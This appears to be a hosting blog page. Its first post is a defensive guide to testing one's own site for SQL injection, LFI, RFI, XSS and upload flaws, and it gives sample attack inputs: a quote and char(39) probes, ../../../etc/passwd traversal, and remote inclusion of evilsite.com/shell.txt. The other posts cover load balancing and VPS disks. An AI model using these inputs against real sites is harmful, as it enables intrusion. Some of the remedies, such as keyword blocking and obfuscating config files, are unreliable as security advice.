Aug 10

Number 1, If you are using a common CMS Google it with the word exploit make sure your version is not listed

Next try any Get Vars in your scripts and put a ‘ at the end of them what I mean is you have = you add ‘ so it’s yourwebsite.com/page?=’ or any other similar thing not only page= you may also try char(39) rather then only ‘ most PHP scripts will automatically add add slashes as a function in the MySQL read so when it goes to read it comments out the ‘ but most PHP that only uses addslashes protection will still be vuln to SQL injection simply using char(39) which the php script will read as a single quote.
If you get an error you might want to check the script.

The errors you may receive are mysql_* this is a sql injection get right on to fixing this because some one would have the ability of dumping your whole database, clients, admins, etc.

If the errors are main()or include_failed you may have just found an LFI (Local File Inclusion) OR RFI (Remote File Inclusion)…  If it is in a path like failed to include /test/file.ext ever then this is an LFI but is very useful to a hacker they have the ability to use. The following to browse into other places ../../../../ if they wanted to they’d view your passwd file via ../../../../../../etc/passwd

Well right now you’d say big Woop they got some users maybe not but still have the ability to go to any forum on
that server and upload an avatar with PHP-EXIF data in it then include it. Using this LFI once they have done this it will execute the code written in this LFI meaning they have access to Run PHP-Code on your server now not good at all…

Recommendations fix the script have mod security block all ../../../../../ to a certain point attempts.

Ok next were going to discuss the abilities of an RFI and how to block it…
So the things you can do with an RFI well lets see remotely include an PHP file that will execute its php file like so
www.yoursite.com/file.php?file=evilsite.com/shell.txt? this php file on your server would then remotely include the other file and execute the PHP code also allowing the user access to your server.

Prevention add http:// to your mod security this way when they try remotely including a file in the URL httpd:// mod_security will block it.

Ok our next subject is XSS. What can XSS do XSS means cross site scripting a hacker can execute JavaScript code on your website using this some XSS is bad which would be called permanent XSS it allows users to embed their JavaScript inside something where you wouldn’t really see it… but when you clicked they could potentially grab your cookie or any current stored browser information. With this they could use your cookie as their own to login as you… maybe even get password information from this cookie.

As for SQL injection the way to block this is to… add ‘ or /* to the mod security be sure to add in char(39) as it’s ‘ in php and php will in fact read it from a URL and interpret it as ‘ and still launch the sql injection.

One other thing you can do that is not exactly completely necessary but will help if any one does manage to get access to your website.Is you can encrypt all your db.php/conf.php/ files so that hackers cant read the information to gain access to your mysql database or gain any other passwords/usernames you might commonly use more then once.  You can do this by obfuscating the code using Zend or similar.

Finally, never leave any open upload scripts what so ever any open upload scripts left on your website will allow the hacker/attacker the ability to upload a file sure you can restrict them to only uploading JPG files or GIF,RAR etc.
But the only problem with that is unless you customize your upload script to check for EXIF data and clear it out of an image when uploading it then the hacker still has something to use against you.

Tagged with:
Jul 27

Load balancing

Load balancing allows your website to continue performing in the event of server downtime due to server failure or planned maintenance. Managed server load balancing from delivers

  • Load balancing to improve performance through efficient distribution of network traffic
  • Firewalls in High Availability configuration
  • Web servers arranged in active-active or active-passive pairs to provide failover redundancy
  • Database servers replicated or clustered for reliability and performance
  • Improved performance for your website and applications
  • Service continuity in the event of a server failure

Load balancing is fully configurable to meet your requirements. You can specify round-robin, weighted round-robin, least connections or least sessions load balancing methods as well as stickiness based on IP address, cookie, session ID.

Tagged with:
May 22

Typical Virtual Dedicated Hosting hardware would involve using a very powerful machine, such that the server when “sliced up” will still offer excellent performance. Typically, you will want to use multiple quad core CPUs with 8GB+ of RAM. However, the key piece of hardware that most people overlook when looking for a VPS or VDS host is that of disks. Hard disks are still the bottleneck in all modern computer systems, and when those disks are busy, the CPU can do little else but wait. You can have all the CPU power in the world but with slow disks, they’ll never be able to do anything useful – especially when it comes to hosting.

We would generally recommend multiple SAS (Serial Attached SCSI) disks in RAID10 configuration. The more disks you have in the RAID10 array, the best the performance overall. Fast disks make for a system that “feels” a lot faster, and will give the edge over systems using much slower SATA disks.

Tagged with:
preload preload preload